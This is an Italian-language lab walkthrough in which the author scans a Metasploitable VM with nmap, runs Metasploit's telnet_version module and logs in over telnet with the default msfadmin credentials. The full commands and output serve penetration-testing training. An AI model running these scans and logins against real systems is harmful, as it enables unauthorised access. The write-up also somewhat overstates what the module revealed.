

Exploit Telnet con Metasploit

Un **Exploit** è un software o un codice che sfrutta le vulnerabilità di un sistema, applicazione o dispositivo per ottenere accesso non autorizzato o compiere azioni dannosi.

Come primo step verifico se Kali e Metasploitable comunicano. Effettuo un Ping.

Successivamente, con l'aiuto di nmap, faccio una scansione completa con il rilevamento delle versioni abilitato e un timing aggressivo.

Il timing aggressivo non è sempre consigliato in quanto invia pacchetti in modo più rapido e frequente, dunque crea tanto rumore.

```
(betta@kali)-[~]
$ nmap -A -T4 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-07 09:48 CET
Nmap scan report for METASPLOITABLE.stations (192.168.1.149)
Host is up (0.0068s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.1.22
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
```

Nmap trova i seguenti servizi: FTP, SSH, TELNET, SMTP.

FTP (porta 21) è il protocollo per il trasferimento di file su una rete.

SSH (porta 22) è il protocollo per la connessione sicura e crittografata tra due dispositivi su una rete.

TELNET (23) è il protocollo di rete utilizzato per stabilire una connessione remota a un server/dispositivo da un computer client.

SMTP (25) è il protocollo per inviare mail.

In questo esercizio, andrò a sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version.

I moduli ausiliari forniscono funzioni di supporto per raccogliere informazioni e condurre attività di valutazione della sicurezza, non utilizzano payload a differenza dei metodi normali che lo utilizzano e sono progettati per sfruttare vulnerabilità e fare attacchi diretti.

Inizio avviando Metasploit, utilizzo un modulo ausiliare e verifico le opzioni necessarie per lanciare l'attacco. Tra i parametri da specificare, ho bisogno dell'indirizzo RHOSTS, che corrisponde all'indirizzo della macchina vittima in cui è in esecuzione il servizio Telnet. Tutte le altre configurazioni necessarie sono preimpostate per i valori di default.

Setto RHOSTS con l'indirizzo Ip della macchina vittima, effetto un controllo per verificare se la modifica è andata a buon fine e lancio l'exploit.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
  Name      Current Setting  Required  Description
  PASSWORD  no               no        The password for the specified username
  RHOSTS    yes             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23              yes       The target port (TCP)
  THREADS   1               yes       The number of concurrent threads (max one per host)
  TIMEOUT   30              yes       Timeout for the Telnet probe
  USERNAME  no              no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
  Name      Current Setting  Required  Description
  PASSWORD  no               no        The password for the specified username
  RHOSTS    192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23              yes       The target port (TCP)
  THREADS   1               yes       The number of concurrent threads (max one per host)
  TIMEOUT   30              yes       Timeout for the Telnet probe
  USERNAME  no              no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.149:23 - 192.168.1.149:23 TELNET
Warning: Never expose this VM to an untrusted network!
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
```

Il modulo ha estratto con successo le informazioni di accesso per il servizio. Mi sta comunicando che le credenziali da utilizzare sono le seguenti: nome utente "msfadmin" e password "msfadmin".

Per confermare l'accuratezza delle informazioni, procedo con un test. Utilizzo Metasploit per eseguire il comando "telnet" seguito dall'indirizzo IP della macchina Metasploitable. Nell'ambiente di laboratorio, l'indirizzo IP di Metasploitable è 192.168.1.149, pertanto eseguo il comando "telnet 192.168.1.149", proprio come mostrato nell'immagine.

```

File Actions Edit View Help

(betta@kali)-[~]
$ telnet 192.168.1.149
Trying 192.168.1.149...
Connected to 192.168.1.149.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Mon Nov  6 14:00:00 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Accesso eseguito correttamente.